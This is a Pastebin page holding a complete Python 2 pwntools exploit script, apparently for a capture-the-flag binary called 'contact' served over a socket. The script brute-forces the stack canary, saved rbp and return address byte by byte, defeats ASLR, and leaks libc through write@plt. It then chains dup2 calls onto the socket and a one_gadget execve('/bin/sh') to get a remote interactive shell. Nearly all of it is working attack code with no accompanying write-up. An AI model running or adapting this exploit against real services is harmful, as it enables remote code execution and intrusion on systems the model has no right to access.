Advertisement
Guest User

Untitled

a guest
Sep 15th, 2019
160
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.48 KB | None | 0 0
  1. #!/usr/bin/env python2
  2. # -*- coding: utf-8 -*-
  3. from pwn import *
  4. from struct import pack
  5.  
  6. exe = context.binary = ELF('contact')
  7. libc = exe.libc
  8. libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
  9.  
  10. host = args.HOST or '127.0.0.1'
  11. port = int(args.PORT or 1337)
  12.  
  13. def remote(argv=[], *a, **kw):
  14. '''Connect to the process on the remote host'''
  15. io = connect(host, port)
  16. return io
  17.  
  18. def start(argv=[], *a, **kw):
  19. '''Start the exploit against the target.'''
  20. return remote(argv, *a, **kw)
  21.  
  22.  
  23. # Bruteforce an 8-byte rbp register
  24. def bruteforce(payload):
  25. ret = ''
  26.  
  27. context.log_level = 'error'
  28. for b in range(8):
  29. for v in range(256):
  30. io = start()
  31. io.recvline()
  32. dummy = ret + chr(v)
  33. io.send(payload + dummy)
  34.  
  35. try:
  36. result = io.recvline()
  37. ret = dummy
  38. print "bytes: " + hex(u64(ret.ljust(8, '\x00')))
  39. break
  40. except:
  41. continue
  42. finally:
  43. io.close()
  44.  
  45. context.log_level = 'info'
  46. return ret
  47.  
  48. # Bruteforce an 8-byte canary (technically on 7, because first byte is \x00)
  49. def bruteforce_canary(payload):
  50. canary = '\x00'
  51.  
  52. context.log_level = 'error'
  53. for b in range(7):
  54.  
  55. for v in range(256):
  56. io = start()
  57.  
  58. io.recvline()
  59.  
  60. dummy = canary + chr(v)
  61.  
  62. # If the byte is correct Done. will be returned
  63. io.send(payload + dummy)
  64.  
  65. try:
  66. result = io.recvline()
  67. canary = dummy
  68. print "canary: " + hex(u64(canary.ljust(8, '\x00')))
  69. break
  70. except:
  71. continue
  72. finally:
  73. io.close()
  74.  
  75. context.log_level = 'info'
  76.  
  77. return canary
  78. # Use this one_gadget and not write manual ROP chains
  79. # 0x4f322 execve("/bin/sh", rsp+0x40, environ)
  80. # constraints:
  81. # [rsp+0x40] == NULL
  82.  
  83.  
  84. # -- Exploit goes here --
  85.  
  86. # Plan of action:
  87. # Using fd
  88. # First fill stack with stuff up to address 0x38
  89. # Bruteforce the 8-byte canary starting with \x00
  90. # Bruteforce the 8-byte rbp starting with \x7f (or potentially \x7d or \x7e so bruteforce an extra 2 bits)
  91. # Bruteforce the 8-byte return address (according to will should begin with a 55 or 56)
  92.  
  93. # ROP Chain:
  94. # Get .text base by subtracting the return address with its offset in the ELF binary
  95. # leak libc using write@plt(4, write@got, 8)
  96. # Get libc base by subtracting the offset from write in libc ELF binary
  97. # Get dup2's address
  98. # call dup2(0, 4)
  99. # call dup2(1, 4)
  100. # call dup2(2, 4)
  101. # call the one_gadget
  102.  
  103. payload = fit({}, length=0x38)
  104.  
  105. # Brute force canary
  106. # canary = bruteforce_canary(payload)
  107. canary = p64(0x2e51750513e03a00)
  108. log.info('final canary: ' + hex(u64(canary)))
  109. payload += canary
  110.  
  111. # Brute force rbp
  112. # rbp = bruteforce(payload)
  113. rbp = p64(0x7ffd889dae00)
  114. log.info('final rbp: ' + hex(u64(rbp)))
  115. payload += rbp
  116.  
  117. # Brute force return address
  118. # ret = bruteforce(payload)
  119. ret = p64(0x55fdc4aee502)
  120. log.info('final ret: ' + hex(u64(ret)))
  121.  
  122. # Get .text base
  123. aslr_base = u64(ret) - 0x1502 # ELF is loaded to an address that ends in three 000s
  124. exe.address = aslr_base
  125. log.info('ELF begins at ' + hex(exe.address))
  126.  
  127. # Leak libc by calling write@plt(4, write@got, 8)
  128. rop1 = ROP(exe)
  129. rop1.call(exe.plt.write, [4, exe.got.write, 8])
  130. log.info('write@plt(4, write@got, 8):\n' + rop1.dump())
  131. payload += rop1.chain()
  132. payload += p64(exe.address + 0x159a) # Return back into the vulnerable function to send another payload
  133.  
  134. io = start()
  135.  
  136. io.recvline()
  137.  
  138. io.sendline(payload)
  139.  
  140. leak = u64(io.recv(8))
  141.  
  142. libc_base = leak - libc.sym.write
  143. libc.address = libc_base
  144. log.info('leaked libc base: ' + hex(libc_base))
  145.  
  146. io.close()
  147.  
  148. # Start new process to finish exploit
  149. io = start()
  150.  
  151. payload2 = fit({}, length=0x38, filler='\x00') + canary + rbp
  152.  
  153. rop2 = ROP([exe, libc])
  154. rop2.call(libc.sym.dup2, [4, 0])
  155. rop2.call(libc.sym.dup2, [4, 1])
  156. rop2.call(libc.sym.dup2, [4, 2])
  157. rop2.call(libc.sym.dup2, [4, 3])
  158. log.info('dup2(4, [0, 1, 2, 3]):\n' + rop2.dump())
  159.  
  160. payload2 += rop2.chain()
  161.  
  162. rop3 = ROP([exe, libc])
  163. rop3.raw(libc.address + 0x3eb0b) #0x000000000003eb0b: pop rcx; ret; in libc.so.6
  164. rop3.raw(0)
  165. rop3.raw(libc.address + 0x4f2c5)
  166. log.info('execve("/bin/sh", rsp+0x40, environ):\n' + rop3.dump())
  167.  
  168. payload2 += rop3.chain()
  169.  
  170. io.recvline()
  171.  
  172. io.sendline(payload2)
  173.  
  174. io.interactive()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement